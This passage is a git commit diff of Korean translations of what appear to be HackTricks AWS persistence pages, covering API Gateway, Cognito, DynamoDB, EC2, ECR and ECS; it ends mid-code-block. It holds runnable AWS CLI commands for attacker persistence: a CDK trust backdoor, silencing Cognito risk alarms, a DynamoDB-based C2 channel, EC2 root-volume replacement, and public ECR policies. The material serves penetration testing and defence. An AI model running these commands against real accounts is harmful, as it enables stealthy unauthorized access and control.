Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-10-14 02:10:37 +00:00
parent 78d6c05972
commit 433bf79f45
218 changed files with 10062 additions and 6687 deletions
@@ -1,32 +0,0 @@
# AWS - API Gateway Persistence
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
API 게이트웨이의 리소스 정책을 수정하여 자신에게 접근 권한을 부여합니다.
### Modify Lambda Authorizers
람다 인증자의 코드를 수정하여 모든 엔드포인트에 대한 접근 권한을 부여합니다.\
또는 인증자의 사용을 제거합니다.
### IAM Permissions
리소스가 IAM 인증자를 사용하는 경우 IAM 권한을 수정하여 자신에게 접근 권한을 부여할 수 있습니다.\
또는 인증자의 사용을 제거합니다.
### API Keys
API 키가 사용되는 경우, 지속성을 유지하기 위해 이를 유출하거나 새 키를 생성할 수 있습니다.\
또는 API 키의 사용을 제거합니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,32 @@
# AWS - API Gateway Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## API Gateway
자세한 정보는 다음을 참조하세요:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### 리소스 정책
Modify the resource policy of the API gateway(s) to grant yourself access to them
### Lambda Authorizers 수정
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer.
### IAM 권한
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
Or just remove the use of the authorizer.
### API Keys
If API keys are used, you could leak them to maintain persistence or even create new ones.\
Or just remove the use of API keys.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,23 +0,0 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK는 `CDKToolkit`이라는 CFN 스택을 배포합니다. 이 스택은 외부 계정이 피해자 계정에 CDK 프로젝트를 배포할 수 있도록 하는 `TrustedAccounts`라는 매개변수를 지원합니다. 공격자는 이를 악용하여 AWS cli를 사용하여 매개변수와 함께 스택을 재배포하거나 AWS CDK cli를 사용하여 피해자 계정에 무기한 접근 권한을 부여할 수 있습니다.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## CloudFormation
For more information, access:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK는 `CDKToolkit`라는 CFN 스택을 배포합니다. 이 스택은 외부 계정이 피해자 계정에 CDK 프로젝트를 배포할 수 있도록 하는 `TrustedAccounts` 파라미터를 지원합니다. 공격자는 이 설정을 악용해 자신에게 피해자 계정에 대한 무기한 접근 권한을 부여할 수 있으며, 이는 파라미터를 변경하여 스택을 재배포하기 위해 AWS cli 또는 AWS CDK cli를 사용하는 방식으로 수행할 수 있습니다.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,40 +0,0 @@
# AWS - Cognito Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cognito
자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### 사용자 지속성
Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 일부 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성은 다음과 같습니다:
- **사용자가 제어하는 사용자 풀**을 아이덴티티 풀에 추가
- 인증되지 않은 아이덴티티 풀에 **IAM 역할을 부여하고 기본 인증 흐름을 허용**
- 공격자가 로그인할 수 있는 경우 **인증된 아이덴티티 풀**에
- 주어진 역할의 **권한을 개선**
- **사용자 풀**에서 속성이 제어하는 사용자 또는 새로운 사용자를 통해 **생성, 검증 및 권한 상승**
- **외부 아이덴티티 공급자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용
이 작업을 수행하는 방법은 다음에서 확인하세요
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하세요**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
기본적으로 이것은 비활성화되어 있습니다:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,40 @@
# AWS - Cognito 지속성
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### 사용자 지속성
Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉터리를 관리할 수 있는 서비스입니다. 일부 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성은 다음과 같습니다:
- **Adding a User Pool** 사용자가 제어하는 User Pool을 Identity Pool에 추가
- 인증되지 않은 Identity Pool에 **IAM role**을 부여하고 **Basic auth flow**를 허용
- 또는 공격자가 로그인할 수 있다면 **authenticated Identity Pool**에 부여
- 또는 주어진 역할의 **권한을 향상**
- **Create, verify & privesc**를 속성이 제어되는 사용자 또는 **User Pool**의 새 사용자를 통해 수행
- **Allowing external Identity Providers**를 User Pool 또는 Identity Pool에서 로그인할 수 있도록 허용
이 작업들을 수행하는 방법은 다음에서 확인하세요:
{{#ref}}
../../aws-privilege-escalation/aws-cognito-privesc/README.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
이 권한을 가진 공격자는 위험 구성(risk configuration)을 수정하여 알람이 트리거되지 않은 상태에서 Cognito 사용자로 로그인할 수 있습니다. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
기본적으로 이 기능은 비활성화되어 있습니다:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,59 +0,0 @@
# AWS - DynamoDB Persistence
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
자세한 정보는 다음을 참조하십시오:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### Lambda 백도어가 있는 DynamoDB 트리거
DynamoDB 트리거를 사용하여 공격자는 테이블에 악성 Lambda 함수를 연결하여 **은밀한 백도어**를 생성할 수 있습니다. 항목이 추가, 수정 또는 삭제될 때 Lambda 함수가 트리거되어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있습니다.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
지속성을 유지하기 위해 공격자는 DynamoDB 테이블에서 항목을 생성하거나 수정할 수 있으며, 이는 악성 Lambda 함수를 트리거합니다. 이를 통해 공격자는 Lambda 함수와 직접 상호작용하지 않고도 AWS 계정 내에서 코드를 실행할 수 있습니다.
### DynamoDB를 C2 채널로 사용하기
공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어(C2) 채널**로 사용할 수 있습니다.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이를 통해 공격자는 손상된 리소스에 대한 지속성과 제어를 유지할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,59 @@
# AWS - DynamoDB Persistence
{{#include ../../../../banners/hacktricks-training.md}}
### DynamoDB
자세한 정보는 다음을 참조하세요:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
DynamoDB 트리거를 사용하면 공격자는 악성 Lambda 함수를 테이블에 연결하여 **은밀한 backdoor**를 생성할 수 있습니다. 항목이 추가, 수정 또는 삭제될 때 Lambda 함수가 트리거되어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있게 합니다.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
지속성을 유지하기 위해, 공격자는 DynamoDB 테이블에 항목을 생성하거나 수정할 수 있으며, 이는 악성 Lambda 함수를 트리거합니다. 이렇게 하면 공격자는 Lambda 함수와 직접 상호작용하지 않고도 AWS 계정 내에서 코드를 실행할 수 있습니다.
### DynamoDB를 C2 채널로
공격자는 명령을 포함한 항목을 생성하고 침해된 인스턴스나 Lambda 함수를 사용해 이러한 명령을 가져와 실행함으로써 DynamoDB 테이블을 **command and control (C2) channel**로 사용할 수 있습니다.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
침해된 인스턴스 또는 Lambda 함수는 주기적으로 C2 테이블을 확인하여 새로운 명령을 실행하고, 선택적으로 결과를 테이블에 보고할 수 있습니다. 이를 통해 공격자는 침해된 리소스에 대한 지속성과 제어를 유지할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,54 +0,0 @@
# AWS - EC2 Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EC2
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
수비수가 **EC2 인스턴스가 침해되었다**고 판단하면, 그는 아마도 **네트워크**를 **격리**하려고 할 것입니다. 그는 명시적인 **Deny NACL**을 사용하거나 (하지만 NACL은 전체 서브넷에 영향을 미침), **보안 그룹을 변경하여** **모든 종류의 인바운드 또는 아웃바운드** 트래픽을 허용하지 않을 수 있습니다.
공격자가 **기계에서 발생한 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.**
### EC2 Lifecycle Manager
이 서비스는 **AMI 및 스냅샷의 생성**을 **예약**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\
공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 예약하고 **자신의 계정과 공유**할 수 있습니다.
### Scheduled Instances
인스턴스를 매일, 매주 또는 심지어 매월 실행하도록 예약할 수 있습니다. 공격자는 높은 권한이나 흥미로운 접근이 가능한 기계를 실행할 수 있습니다.
### Spot Fleet Request
스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**를 포함할 수 있습니다. **IP 주소**와 함께 **높은 권한의 IAM 역할**을 사용할 수 있습니다.
### Backdoor Instances
공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다:
- 전통적인 **루트킷** 사용 예
- 새로운 **공개 SSH 키** 추가 (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
- **사용자 데이터**에 백도어 추가
### **Backdoor Launch Configuration**
- 사용된 AMI에 백도어 추가
- 사용자 데이터에 백도어 추가
- 키 쌍에 백도어 추가
### VPN
공격자가 VPC에 직접 연결할 수 있도록 VPN을 생성합니다.
### VPC Peering
피해자 VPC와 공격자 VPC 간의 피어링 연결을 생성하여 공격자가 피해자 VPC에 접근할 수 있도록 합니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,62 @@
# AWS - EC2 영속성
{{#include ../../../../banners/hacktricks-training.md}}
## EC2
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
방어자가 **EC2 instance was compromised**를 발견하면 그는 아마도 해당 머신의 **네트워크를 격리**하려고 할 것입니다. 이것은 명시적인 **Deny NACL**(단, NACLs는 전체 서브넷에 영향을 줌)이나 **security group을 변경해** **어떤 종류의 inbound 또는 outbound** 트래픽도 허용하지 않도록 설정하는 방식으로 할 수 있습니다.
만약 공격자가 머신에서 시작된 **reverse shell originated from the machine**을 보유하고 있다면, SG가 inbound 또는 outbound 트래픽을 허용하지 않도록 수정되더라도 [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**에 의해 연결은 종료되지 않습니다.**
### EC2 Lifecycle Manager
이 서비스는 **AMIs and snapshots의 생성**을 **스케줄**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\
공격자는 모든 이미지나 모든 볼륨의 **AMIs 또는 snapshots 생성**을 매주로 예약하고 이를 **자신의 계정과 공유**하도록 구성할 수 있습니다.
### Scheduled Instances
인스턴스를 일별, 주별 또는 월별로 실행되도록 예약할 수 있습니다. 공격자는 높은 권한이나 흥미로운 접근 권한이 있는 머신을 예약 실행해 접근할 수 있습니다.
### Spot Fleet Request
Spot instances는 일반 인스턴스보다 **저렴**합니다. 공격자는 예를 들어 **5 year 동안의 작은 spot fleet request**를 시작하고, **자동 IP** 할당과 함께 **user data**에 스팟 인스턴스가 시작될 때 공격자에게 **IP address**를 전송하도록 설정하고, **high privileged IAM role**을 부여할 수 있습니다.
### Backdoor Instances
공격자는 인스턴스에 접근한 뒤 backdoor를 심을 수 있습니다:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
실행 중인 인스턴스의 루트 EBS 볼륨을 공격자가 제어하는 AMI 또는 snapshot에서 생성된 것으로 교체하는 작업을 `CreateReplaceRootVolumeTask`를 사용해 수행할 수 있습니다. 인스턴스는 ENIs, IPs, 및 역할을 유지하므로 외형상 변경이 없어 보이면서 악성 코드로 부팅됩니다.
{{#ref}}
../aws-ec2-replace-root-volume-persistence/README.md
{{#endref}}
### VPN
공격자가 VPC에 직접 연결할 수 있도록 VPN을 생성합니다.
### VPC Peering
피해자 VPC와 공격자 VPC 사이에 peering connection을 생성해 공격자가 피해자 VPC에 접근할 수 있게 합니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,75 @@
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
{{#include ../../../../banners/hacktricks-training.md}}
공격자는 **ec2:CreateReplaceRootVolumeTask**를 악용해 실행 중인 인스턴스의 루트 EBS 볼륨을 공격자가 제어하는 AMI 또는 snapshot에서 복원한 볼륨으로 교체할 수 있습니다. 인스턴스는 자동으로 재부팅되며 ENIs, private/public IPs, 연결된 non-root 볼륨 및 인스턴스 metadata/IAM role을 유지한 채 공격자가 제어하는 루트 파일시스템으로 다시 시작됩니다.
## 요구사항
- 대상 인스턴스는 EBS 기반이며 동일한 리전에서 실행 중이어야 합니다.
- 호환 가능한 AMI 또는 snapshot: 대상 인스턴스와 동일한 아키텍처/가상화/부팅 모드(및 제품 코드가 있는 경우 동일).
## 사전 점검
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>
# Ensure EBS-backed
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## AMI에서 루트 교체 (권장)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>
# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
스냅샷을 사용하는 대안:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## 증거 / 검증
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
## 노트
- API는 인스턴스를 수동으로 중지할 필요가 없습니다; EC2가 재부팅을 자동으로 처리합니다.
- 기본적으로 교체된(기존) 루트 EBS 볼륨은 분리되어 계정에 남겨집니다 (DeleteReplacedRootVolume=false). 이는 롤백에 사용할 수 있으며 비용을 피하려면 삭제해야 합니다.
## 롤백 / 정리
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,91 +0,0 @@
# AWS - ECR Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECR
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### 악성 코드가 포함된 숨겨진 Docker 이미지
공격자는 **악성 코드가 포함된 Docker 이미지를** ECR 리포지토리에 업로드하고 이를 사용하여 대상 AWS 계정에서 지속성을 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS 또는 EKS와 같은 계정 내의 다양한 서비스에 악성 이미지를 은밀하게 배포할 수 있습니다.
### 리포지토리 정책
리포지토리에 대한 액세스를 자신(또는 모든 사람)에게 부여하는 정책을 단일 리포지토리에 추가하세요:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 이를 통해 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다.
### 레지스트리 정책 및 크로스 계정 복제
외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능하며, 이 경우 레지스트리를 복제할 외부 계정을 **지정해야** 합니다.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
먼저, 외부 계정에 **레지스트리 정책**을 통해 레지스트리에 대한 액세스를 부여해야 합니다:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
그런 다음 복제 구성을 적용합니다:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,145 @@
# AWS - ECR Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Hidden Docker Image with Malicious Code
공격자는 ECR 리포지토리에 **malicious code를 포함한 Docker 이미지를 업로드**하여 대상 AWS 계정에서 persistence를 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS나 EKS와 같은 계정 내의 다양한 서비스에 해당 악성 이미지를 은밀하게 배포할 수 있습니다.
### 리포지토리 정책
하나의 리포지토리에 자신(또는 모든 사용자)에게 접근 권한을 부여하는 정책을 추가합니다:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> ECR는 사용자가 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 push 또는 pull하기 전에, IAM policy를 통해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 가지고 있어야 한다는 점에 유의하세요.
### 레지스트리 정책 및 크로스-계정 복제
cross-account replication을 구성하면 레지스트리를 외부 계정에 자동으로 복제할 수 있으며, 이때 레지스트리를 복제하려는 외부 계정을 **명시**해야 합니다.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
먼저, 다음과 같은 **registry policy**로 외부 계정에 레지스트리 접근 권한을 부여해야 합니다:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
그런 다음 복제 구성(replication config)을 적용하세요:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
### Repository Creation Templates (prefix backdoor for future repos)
ECR Repository Creation Templates를 악용하면 제어된 접두사 아래에서 ECR이 자동으로 생성하는 모든 리포지토리에 대해 자동으로 backdoor를 심을 수 있습니다(예: Pull-Through Cache 또는 Create-on-Push를 통해). 이렇게 하면 기존 리포지토리를 건드리지 않고도 향후 리포지토리에 지속적인 무단 접근 권한을 확보할 수 있습니다.
- 필요 권한: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
- 영향: 대상 접두사 아래에 생성되는 모든 신규 리포지토리는 자동으로 공격자가 제어하는 repository policy(예: cross-account read/write), tag mutability, 및 scanning defaults를 상속합니다.
<details>
<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
```bash
# Region
REGION=us-east-1
# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
}
JSON
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
# This example caches from Amazon ECR Public namespace "nginx"
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,93 +0,0 @@
# AWS - ECS 지속성
{{#include ../../../banners/hacktricks-training.md}}
## ECS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### 숨겨진 주기적 ECS 작업
> [!NOTE]
> TODO: 테스트
공격자는 Amazon EventBridge를 사용하여 **악성 작업의 실행을 주기적으로 예약하는 숨겨진 주기적 ECS 작업**을 생성할 수 있습니다. 이 작업은 정찰을 수행하거나 데이터를 유출하거나 AWS 계정에서 지속성을 유지할 수 있습니다.
```bash
